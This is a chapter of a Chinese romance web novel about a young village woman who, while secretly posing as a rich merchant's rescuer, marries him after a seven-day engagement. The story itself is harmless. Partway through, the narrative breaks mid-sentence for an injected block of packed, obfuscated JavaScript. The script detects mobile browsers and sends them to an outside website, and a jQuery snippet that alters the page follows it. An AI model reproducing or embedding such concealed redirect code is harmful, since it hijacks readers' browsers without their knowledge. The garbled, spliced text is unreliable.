17. 第 17 章
作品:《冒牌货(先婚后爱)》 南流景说话总是不轻不重,带着漫不经心的闲散。但就是这样对什么都不上心的态度,才更让人觉得窝火。
赵书源咬牙,不知从哪里升上来一股气,惹得他呼吸都有几分急促。
林姑娘本对成亲无意,怎会突然转变心思答应嫁给南流景?
再说寻常婚事,从相看到礼成,少说也得几个月的时间。七日成婚?如此随便,哪里是真心求亲的样子!
赵书源张了张唇,正欲说些什么,却突然触到南流景已然有些冰冷的眼神。
他僵在原地,恍若一盆凉水从头淋下来,理智瞬间回笼。
林姑娘现在是南流景的未婚妻,他再在这里纠缠下去,只会给林姑娘带来麻烦。
沉吟片刻,赵书源看了眼正疑惑望着他的林姑娘,又看了眼嘴角含笑,面色如常的南流景,不得不松开已经在袖中紧握成拳的手,依照礼法同主人家告辞。
林霏清缓缓松开握在手中的衣料,看着赵先生离开,有些茫然。
“赵先生好像不太高兴?”
南流景抱臂侧面向她,没有回答,而是反问道:“我把他赶走,你不生气?”
“啊?”林霏清懵了懵,想了想,道,“还好吧,时辰也不早了,从京城到荷花村要好一会呢,再晚城门就落锁了。”
“……”南流景听罢眯了眯眼,就这样盯着她,仿佛在判断她说的话有几分真假。
林霏清被看得有些不好意思,垂下眼佯做看向别处。
良久,上方传来一声微微叹息,南流景再次拍了拍她的脑袋:“好了,吃饭去。”
语气莫名温和了不少。
这几日南流景从未与她同席,今日自然也不会,眼见南流景也打算离开,林霏清突然叫住他:“南老板。”
“嗯?”南流景回头。
林霏清下意识缩了缩视线,回过神强迫自己抬起眼,认认真真看着他:“多谢您。”
南流景挑眉:“谢我什么?”
林霏清低下眼:“我这几天吃得太好了。”
“这算什么?”南流景失笑,“你这动不动道谢的毛病也该改改了。”
林霏清没说话,只微微冲他抿了抿唇。
哪怕是个谎言,也多谢您,让我第一次勇敢,有个还不错的开始。
-
按理说,七日后便是婚礼,林霏清本该忙得脚不沾地,但实际上,没有一件事被拿到她面前。
她依旧该吃吃,该睡睡,按照太医的要求顾养她的身子,很快便恢复得比先前还要康健。
婚期前两天,林霏清得回荷花村待嫁,临行前,秦柳拿来了她的嫁衣。
嫁衣铺开时,林霏清倒吸了口凉气,满脑子只有一个念头——这得花多少钱。
艳红的嫁衣比她想象中华贵数倍,从前襟到裙摆,每一寸都绣满了吉祥花样,如此繁复,却安排得错落有致,不知用了什么绣法,轻抚时顺滑如水,林霏清都生怕自己粗糙的指尖刮坏了嫁衣。
看着这件嫁衣,林霏清突然有种,南流景要比她想象中,更重视这场婚事的感觉。
她的指尖抚到左边衣袖,那处空了一小片绣纹,秦柳解释:“这片是给您留的,若您有兴趣,可以自行绣上喜欢的花样。”
当地嫁娶习俗,新娘子成亲前需自己缝制嫁衣,以证心灵手巧,不过前些年战乱,哪有姑娘家有闲心完完整整缝制衣裳,讲究点的买件红衣回来自己绣,不讲究的头上扎个红发带也没人说什么。
当初赵香成亲前,就是买的红衣回来绣花样,林霏清还凑了几针热闹。
自然这都是平民百姓家的风俗,富贵人家就不一定了。
比如林霏清眼前这件嫁衣,要新娘一个人绣只怕一两年都绣不完,南流景不知砸了多少钱进去,五日便送了过来,旁的贵女没这么夸张,但应该也是差不多的路子。
最多差一两针,让新娘补一下,只当图个彩头。
林霏清想了想,虽说旁人都以为他们是真夫妻,但她自己不觉得,就算绣也不会有多少真情实意。
只是,还剩下两日,自己要是拒绝的话,只怕要劳累了绣娘们。
而且南流景如此上心,她也多少该做些什么。
“我自己来吧。”林霏清笑了笑,对秦柳道,“还有两日,就当打发时间了。”
秦柳笑:“好,那我帮您收起来,一起带回去。”
这次回荷花村,秦柳与她一道,除了她之外,还另有两个看着就很强健的嬷嬷,秦柳说,这是南流景派来保护她的。
毕竟林霏清当初伤得有多严重,府上人都看在眼里,在她们眼中,林姑娘住的荷花村与龙潭虎穴没什么两样。
林霏清倒不是很担心,旁的不论,她对家里人起码还算了解。且看上次舅母来,气成那样也只是拿指头戳了戳她,足可见南流景有多让他们敬畏了。
不过知道有人会保护她,也的确让她心安了些。
只是林霏清没想到,秦柳等人的保护竟如此,夸张。
从在赵福门前下车,到回到自己的房间,除了从南府带来的人外,林霏清一个人都没见到,若非秦柳再三保证,赵福等人还在此地居住,林霏清都要以为这院子已经空了。
余下两天,赵福等人也从未在林霏清面前露过面,故而她也不知道,赵栋现在是个什么情况。
林霏清赶在婚礼前绣好了袖口上的花样,她绣工不好,只绣了一个小小的金元宝。
算是给自己的小小祝愿。
时间一晃到了六月十二,天尚未亮,林霏清便被拉起上妆穿衣,一切尽有人动手,她只用乖乖坐着,任凭几双手装点自己。
秦柳在后面为她梳发,笑道:“姑娘平日里也该多打扮打扮,看,多漂亮。”
一旁的妆娘本是金玉楼员工,因技艺高超而被派来为新娘上妆,闻言也插话道:“姑娘上妆之后,有点像南老板。”
林霏清没想到会得到这样的评价,怔了怔,不好意思道:“太夸张了。”
南流景那容色,在她看来,就算是传说中祸国殃民的狐妖,也是当得起的。
但听到这样说,她还是忍不住多看了几眼镜子。镜中的姑娘肌肤瓷白,红唇娇妍,眼尾被拉出微微上扬的弧度,眼波流转间,竟真有几分南流景秾艳的瑰丽,只是比起南流景咄咄逼人的漂亮,她的弧度要更和婉些。
而在穿上嫁衣后,这份艳丽更是被放大了好几倍,连这间背光潦草的小屋都被衬得贵气许多。
秦柳在一旁感叹道:“今日不会有比您更美的女子了。”
此时天色微亮,屋外渐渐响起喜庆喧闹之声,仿佛前两天未出现的声音全都补在了今日。按照习俗,接下来亲朋女眷会来到屋内,为新娘增妆添彩。
第一个进来的是赵婶,赵香与林霏清是挚友,赵婶也算看着林霏清长大,如今这孩子就要出嫁,心中自是万般不舍。
林霏清手中遮面的扇子并不紧密,能依稀看到来人,她乖巧地叫了一声:“赵婶。”
“好孩子,第一次见你才那么点大,没想到一下子就要成婚了。”赵婶声音有些干哑,却还是带着欣喜,林霏清感受到有人牵起她空余的那只手,轻轻往上套了个镯子。
镯体通身碧玉,是对于庄户人来说,极为贵重的饰品。
林霏清微惊:“赵婶,这太贵重了。”
赵婶道:“不贵重我还不给你呢。”她轻轻拍了拍林霏清的肩,“当初阿香成亲前,这样的镯子买了两个,一个给她,叮嘱我另一个一定要在你成婚时送给你。”
镯体微凉,在腕间轻轻摇晃,而在年前,同样的景象也在赵香腕上出现过。
这一刻,林霏清真真实实地感受到了一种,出嫁前的不舍,哪怕是假的,在旁人眼中,她也再不是从前荷花村的林姑娘,她前十六岁的人生,真的就结束了。
隔着扇子,赵婶却好像看穿了她的想法,她低下声,认真道:“别舍不得,好不容易能出去,这是好事。”
不,赵婶,你不知道。
我在撒谎,我是假的。
林霏清深深吸了口气,眼眶有些发酸。
赵婶说得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804470|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对,别舍不得,好不容易能出去,这是好事。
好在有绢扇用以遮面,林霏清才没让旁人看见自己眼圈发红的样子。赵婶之后,又来了许多乡里乡亲,热闹却不失客气为她添彩。
唯独舅母,自始至终没有出现。
林霏清只觉得松了口气。
时间平稳而和缓地向前走去,很快到了吉时,喜婆在外吆喝新郎接亲,秦柳匆匆将盖头为她盖上。
很快,纷乱的人声中,林霏清听到一阵熟悉的脚步声,不疾不徐地向她走来。
不知为何,林霏清的心跳微微加快,她掩在衣袖下的手紧握成拳。
清洌洌的药香味停在面前,随后,一道不由分说的力道将锦缎塞进她手中,一片红的后面,南流景的声音响起:“跟着我,慢慢走。”
微凉的声线,一如他这个人,在喧闹的场合下分外清明,仿佛冬日绝不会塌陷的冰湖。
林霏清瞬间安定下来,顺着他的力道站起身,被牵着上了花轿。
花轿摇摇晃晃地出发了,与此同时,喜乐鞭炮齐奏,敲锣打鼓地往南府去。
一直到此时,林霏清仍有些不切实际之感,短短不到一个月的时间,她的生活便有了翻天覆地的变化。
这一切的一切都是因为,她冒充了南流景的救命恩人。
这是很坏的事,与林霏清从小到大受到的管教冲突,可她一点都不后悔。
林霏清端坐着,双手轻轻搭在膝头。
青绿色的镯子在一片红与白中分外显眼。
林霏清轻轻拂过光滑的镯体,心中已做好打算。
等到表兄成婚,舅舅舅母不再逼她嫁出去,她就向南流景坦白一切。
吹吹打打中,花轿抵达南府,林霏清再次接过南流景手中的红绸,跟着他跨过门槛,按照礼官高唱,顺顺当当地与南流景拜了堂。
“礼成——”
拜堂过后,秦柳扶她进新房。
荷花村一同来的只有赵婶赵叔以及赵书源,除他们外前来观礼的皆是京中宾客,相比来婚房闹婚,他们更想在前厅与南流景说话。
秦柳低声道:“南大人吩咐了,桌上有餐饮,您起得早,困了饿了自便就好。”
林霏清点点头,坐到床边后隔着盖头对秦柳道:“你也辛苦一天了,去外面吃点东西休息会吧,我一个人在这里没事的。”
秦柳轻声笑了笑,道了声“知道”,出去吃了点东西,很快又回来候在门口。
酒席结束得还算早,天刚擦黑,外头的喧嚣声渐渐落了下去。这是林霏清今日第二次听见南流景的脚步声。
他应当没喝酒,步伐一如早晨那般稳当,林霏清听到门被推开又合上,脚步渐近。
盖头下伸来两只节骨分明的手指,轻轻往上一挑,明亮的烛光落入眼底,林霏清忍不住眯了眯眼,终于看清眼前的景象。
南老板少见地穿了艳色,乌发以金冠束起,一日下来有些许凌乱,五官尖锐明丽,被红衣红烛映得多了几分血色,挺拔高瘦,赤色璎珞束在腰间,勾勒出流畅的腰线,整个人是浓墨重彩的漂亮。
林霏清一时呆了呆。
想到早晨,有人说她与南流景有些像。
“怎么,饿傻了?”南流景见她久久不动,主动上前半步,十指轻轻插入她发间。
这是个有些暧昧的动作。
林霏清还没来得及说什么,头顶陡然一轻,沉重的凤冠被取下,如缎的发丝顺势落下,南流景的指尖不可避免地擦过她的颈间。
红烛轻晃,门窗紧闭,室内因多了个人变得暖和了些,林霏清坐在床边,突然觉得有些呼吸不上来。
还未等她细究,南流景便已收回手,一束发丝在他指尖打了个转,他面不改色道:“西间是浴房,你先去洗漱,待会夜宵送来,吃了东西再睡。”
这间院子是南府主院,前几日林霏清并不住在这里,对格局布置还有些陌生:“那您今晚……?”
“成婚第一夜,”南流景偏头看她,忽地轻笑一声,“我自然是要与你睡一处的。”

